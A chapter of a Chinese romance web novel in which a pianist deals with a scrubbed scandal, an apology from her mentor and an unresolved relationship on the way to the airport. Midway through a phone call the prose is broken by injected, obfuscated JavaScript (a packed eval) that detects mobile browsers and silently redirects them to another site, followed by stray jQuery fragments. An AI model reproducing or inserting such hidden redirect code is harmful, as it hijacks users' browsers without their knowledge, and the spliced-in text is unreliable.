47. 《托卡塔》
作品:《冰河风》 冬日的光柔和到近乎慈悲,铺满凌乱的床单。
梁初灵先醒的,身体像是被拆解重组过,每一寸肌肉都留着昨夜绵长的记忆,但奇异的是,内心那片惊涛骇浪,变成近乎虚脱的平静。
李寻还在睡,睡颜却和她记忆中一样青涩。
她看了一会儿,确认自己已经十!分!冷!静!
才敢翻出来手机看消息,该来的总会来。
点开社媒——
嗯?预想中的腥风血雨并未出现。
热搜榜上确实有伊凡的名字,高居前列,但关联词条是:
【伊凡吸du实锤视频】
【伊凡辱骂同行录音曝光】
【伊凡前男友控诉其家暴】
【伊凡骗婚gay?】
火力集中,简直刀刀见血,舆论一片哗然,古典音乐圈和娱乐新闻板块同时地震。
然而没有任何一条热搜,任何一篇报道,提及昨晚剧院后台的混乱。没有梁初灵,更没有李寻。那些对着她们疯狂按下的快门,仿佛是一场集体幻觉。
在伊凡相关的讨论中,关于梁初灵的部分被引导——
她是被蒙蔽的受害者、识人不明的痴情女,还有庆幸梁初灵幸好没成同妻的。
偶尔有几条质疑她是否早知内情的评论,也迅速被“叶莲娜都出面道歉了还能有假?”的声音淹没。
梁初灵惊得赶紧去找叶莲娜在哪儿道歉了?什么道歉啊?跟谁道歉啊?
但李寻不知何时醒了,手臂从身后环过来箍住她,下巴搁在她肩头:“在看什么?”
梁初灵脸一下红了,只好假装冷静地把手机屏幕侧过去给他看。
李寻浏览了片刻:“不对劲吧?”
“太干净了对吧?”梁初灵说出他的想法。
像一场暴雨过后,唯独她们站立的那一小片地面滴水未沾般的干净。
“那就是被特意打扫过。”李寻也拿过自己的手机,搜索了梁初灵和自己的名字,结果一无所获。
梁初灵的手机响起来,她看了一眼李寻,接起按下免提。
“Ling,”一个略显疲惫的女声传来,带着莫斯科知识分子的克制,“是我。你还好吗?”
梁初灵坐直了身体:“叶莲娜老师。”
“请允许我正式向你道歉。”叶莲娜的声音很稳,打断梁初灵可能涌出的客套,“我为我的儿子伊凡对你所做的一切,以及我本人当初轻率的请求,给你带来的麻烦和伤害,表示最深的歉意。这是我的错误,因为这是由我的傲慢所造成的。”
当年叶莲娜找梁初灵,因为她以为自己的孩子只是性向不同,而仅因为这个原因就断送前程,叶莲娜的确认为荒谬而不公。
她以为伊凡是个好孩子,只是需要一点掩护。
“我利用了你对我的尊重和情谊,这是我的傲慢——我傲慢地以为我了解我的儿子,傲慢地以为这不会对你造成实质影响。”
“直到最近,我才知道他是如此不堪。他不仅欺骗了你,也欺骗了我,这不是性向问题,这是人品问题,而我对你造成了如此严肃的伤害。”
“老师,您别这么说……”梁初灵有点手足无措,左手无意识在摆手,被李寻握住。
“事实如此。所以我来了。我不会允许伊凡或者我再伤害你。昨天晚上我就到了北京。那些不该出现的照片不会出现。相关的人我也已经处理好。伊凡会为自己的一切行为负责,接受应有的后果。”
“他以后不会再有机会靠近你,也不会再用任何方式打扰你。他留下的烂摊子,我会负责清理干净。这是我的责任,也是我对你的补偿。”
梁初灵和李寻对视一眼,这位以强硬和专业著称的钢琴家,效率向来高。
叶莲娜语气变得温和:“Ling,这件事是我和伊凡对不起你。后续,无论你需要任何形式的澄清、声明,或者艺术上的合作、推荐,我一定义不容辞。这是我个人的承诺,与伊凡无关。”
“老师,您不用这样的!”梁初灵在面对偶像对她放低姿态时,首先感到的居然是愧疚。
“这是我应该做的。你是我看着成长起来的最有天赋的孩子,我珍惜你的才华,更珍惜你这个人。让你陷入这种境地,是我的失察和错误。”
“在俄罗斯,我们有一句话:自己酿的苦酒,自己喝干。所以,让我来处理。好了,我不多占用你的时间。好好准备你的音乐会。舞台是你的,谁都夺不走。”
“另外,关于你和伊凡的关系,你自由了,孩子。你从来都是自由的,只是被我愚蠢的建议困住了。我很抱歉。”
电话挂断,李寻的手轻轻捏了捏梁初灵的手指。
梁初灵也终于找到叶莲娜注册的中文账号,看到了她发布的声明,表达梁初灵是受害者,一直被伊凡所欺骗,还顺带宣传了梁初灵的新专辑……
这条微博被李炽、金溪、周序、甚至只有一面之缘的陈导等,都点了赞。
默契的声援将梁初灵安全地包裹。
一场预料中的风暴就这样消弭于无形,甚至为她赢得了同情和关注。
梁初灵感觉有些不真实,一场男人的风波竟然没有扯女性下水,甚至因伊凡是gay的缘故,这场热搜狂欢的加害者受害者都只有男人。
梁初灵看着窗外,北京冬日的天空是一种灰蓝,阳光稀薄而明亮,疏疏落落的树枝切割着天际线,显得冷清又开阔。
那些恐惧,甚至与李寻在绝境中碰撞出的炽热,仿佛都因这过于利落的解决,而失去了某种真实的重量。
李寻似有所察,继续从背后紧抱住她,好像在证明那炽热真实。
安静的拥抱持续了几分钟,梁初灵像是突然被电击一样,从他怀里弹开。
“完了!”她低呼一声,手忙脚乱地开始在地上散落的衣物中寻找自己的,“几点了?我的航班是晚上……不对,我得先回家拿行李,天哪我什么都没准备!”
李寻被她这突如其来的慌乱逗乐,但也跟着坐起身,看了一眼手机时间:“还早,刚过九点。你晚上几点的飞机?”
“八点四十!”梁初灵已经套上了上衣,正在和牛仔裤的扣子搏斗,头发乱糟糟披在肩上,脸上还带着红晕,眼神却已经切换成了赶行程模式,“我得回家收拾。”
李寻下床,也捡起自己的衣服穿,看着她团团转的样子,嘴角忍不住上扬。昨晚那个在他怀里颤抖又热烈索吻的梁初灵,和眼前这个为了赶飞机慌里慌张的梁初灵重叠,让他觉得可爱。
“别急。”他走到她身后,帮她理了理翻进去的衣服领子,“我送你。”
梁初灵转过头看他:“你今天不忙?”
“剧组今天调休,没安排。而且,送你比较重要。你让你的助理直接去机场等你吧。”
梁初灵松了口气,毫不客气地开始派活:“那行!那你先送我回家拿行李,然后送我去你家跟栗子道别,然后再送我去机场!”
她数完,肚子忽然叫了一声,于是理直气壮地补充:“路上再给我买点吃的!我真饿得不行了!从昨天中午到现在就没正经吃东西!”
李寻也是真被她逗得不行了,没忍住笑出声:“好,听小天才安排。”
梁初灵被他笑得有点不好意思,但饿意占了上风,推了他一把:“快点!真的饿!”
车子驶上机场高速时,已是下午四点。
车外景色以一种坦荡而萧瑟的姿态铺展在外,树木褪尽了叶子,枝桠伸向天空,线条清晰如素描。偶尔有常青的松柏,绿的顽固。
空气干冷清澈,能见度高,世界显得辽阔,一种属于北方的有力量的冬意,包裹着行驶的车厢。
往大兴机场走,竟意外经过一片残雪,区与区真是气候差异大。残雪在背阴处闪着固执的白。
梁初灵靠在椅背上,下午告别时得不舍消减,觉得在这时离开也不错。把一堆事留在身后,奔赴一个有音乐和极光的地方。
手机又响了,是经纪人。
“初灵,舆论风向对我们非常有利。我觉得你还是应该出来回应一下,现在大家都很同情你,趁这个机会巩固一下形象。发个声明,表示一下对欺骗的震惊和失望,但更会专注于音乐什么的。”
梁初灵没立刻回答,她在想,自己需要去扮演那个“震惊、失望但坚强”的受害者吗?去展示自己的伤害,来换取更多的同情吗?
“算了吧,我不想回应。没什么好说的。”
经纪人了解她的脾气:“那你落地后发条微博,提一下即将开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894669|189655||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的挪威音乐会。”
“到了那边再说吧。”梁初灵敷衍道。
她放下手机,冬日景色还在流转,她脑海里盘旋的却是另一件事。从早上醒来,那件事就一直哽在心口,随着离机场越来越近,就越清晰,也就越难以启齿。
她偷瞟了一眼开车的李寻,昨夜的一切——拥抱、亲吻、眼泪、汗水、喘息——都真实地发生过——可当阳光重新普照,危机骤然解除,她们之间,到底算什么呢?
是旧情复燃?还是新的开始?
她不知道。
话到嘴边,又咽回去。
反而是李寻先开口,他说:“我还想问一个问题。”
“嗯?”
“我溺水进医院时,你为什么没来看我?”
梁初灵立刻扭头看他表情,这个问题好奇怪,不像是李寻会追问的事情。他向来体谅,甚至过度体谅,现在问出来简直像在撒娇,在不满。
李寻当然体谅她——所以在李炽告诉他,梁初灵很关心他、她妈妈也忙前忙后联系消防队的时候,李寻尽管心神摇晃,但还是没去联系梁初灵,他以为她和伊凡是真情,所以为了不给梁初灵带来麻烦和波动,只能闭口不言。
可他现在知道了那是假情,于是更本真的情绪探出头。
情绪翻译过来是委屈:我受伤了,而你明明关心我,却没有来看我。
既然李寻展露了这种情绪,梁初灵也实话实说:“因为我以为黄潇是你女朋友。她在你身边照顾你,我过去了会很尴尬。”
李寻带着无奈:“是第一次见面的时候误会的吗?”
梁初灵点了点头,“你说你珍视她。”
“黄潇是编剧,那天我们是在聊我妈的剧本。代指的是古典音乐。”
梁初灵慢吞吞应了一声:“哦。”然后又说,“好。”
在红灯前停下,李寻才转头认真地看梁初灵,品读空气,他试着问:“你是还有话要对我说吗?”
梁初灵欲言又止,止言又欲,最终摇头。
李寻觉得她的状态怪怪的,还想旁敲侧击猜一下,没敲几句,绿灯亮了,他又继续开车。
直到李寻把车停在航站楼外,梁初灵裹紧围巾,李寻推着行李箱送她到安检入口的界线处。
人群熙攘,梁初灵接过行李箱,准备转身进去的时候,那句话终于冲破了所有犹豫:“我们现在是什么关系?”
李寻没料到她会问这个问题,刚好有旅客走到李寻的身后替他挡住了风,于是风停顿、人失神,仿佛一种悬空术。
人又很快走开,李寻落了地。
李寻没有回答,反问她:“我们以前是什么关系?”
她们明明在正式在一起之前,就走向了决裂。
没有牵手走在校园里的阳光,没有以恋人身份出席过任何场合,没有向共同的朋友介绍过这是我男朋友/女朋友。
明明没有真的在一起过。
却真的经历了所有分手该有的痛苦、拉扯、伤害和漫长的分离。
没有真正开始,却有真正的结束。
一个尚未诞生的生命,却拥有了完整的墓志铭。
她们之间连一个正式的开始都未曾拥有,就已经被判过死刑。
她们缺乏一个起点。没有那个起点,所以后来的所有分离都失去了一个可以回溯的坐标。
李寻此刻提起这个,是否在说,我们以前是什么关系,那么现在就是什么关系?
一段未曾正式命名过开始、却承载了全部离别重量的关系?
梁初灵突然在飞机上惊醒。
机舱内温度很高,她却感到寒冷。
一个总是稳定的人,长出了不安;
一个喜欢直面问题的人,选择了将问题搁置;
一个对待情感郑重的人,如今和她不清不楚。
一切的拧巴、矛盾、反常——源头都在她身上。
在她造成的创伤后遗症里,他努力调整自己来适应她的再次出现。
梁初灵望着窗外漆黑无垠的夜空,孤独和清醒同时包裹了她。
她需要时间和距离去想清楚,她到底能给李寻一个什么样的关系,一个什么样的开始。
她不能再让他等一个模糊的未来了。

